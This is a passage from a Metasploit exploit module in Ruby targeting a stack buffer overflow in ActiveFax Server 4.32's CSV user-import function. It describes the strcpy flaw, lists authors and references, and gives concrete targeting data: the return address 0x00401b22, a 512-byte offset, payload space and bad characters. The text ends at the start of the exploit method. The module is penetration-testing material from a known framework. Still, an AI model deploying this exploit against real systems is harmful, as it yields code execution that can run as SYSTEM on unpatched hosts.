##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in ActiveFax Server. The vulnerability is
a stack based buffer overflow in the "Import Users from File" function, due to the
insecure usage of strcpy while parsing the csv formatted file. The module creates a
.exp file that must be imported with ActiveFax Server. It must be imported with the
default character set 'ECMA-94 / Latin 1 (ISO 8859)'. The module has been tested
successfully on ActFax Server 4.32 over Windows XP SP3 and Windows 7 SP1. In the
Windows XP case, when ActFax runs as a service, it will execute as SYSTEM.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Craig Freyman', # Vulnerability discovery and PoC
'Brandon Perry', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'EDB', '20915' ],
[ 'URL', 'http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 4000,
'BadChars' => "",
'DisableNops' => true,
},
'Targets' =>
[
[ 'ActFax 4.32 / Windows XP SP3 EN / Windows 7 SP1',
{
'Ret' => 0x00401b22, # ret from ActFax.exe]
'Offset' => 512
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Aug 28 2012',
'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.exp']),], self.class)
end
def exploit
#These badchars do not apply to the final payload
badchars = (0x00..0x20).to_a.pack("C*") + "\x7c"
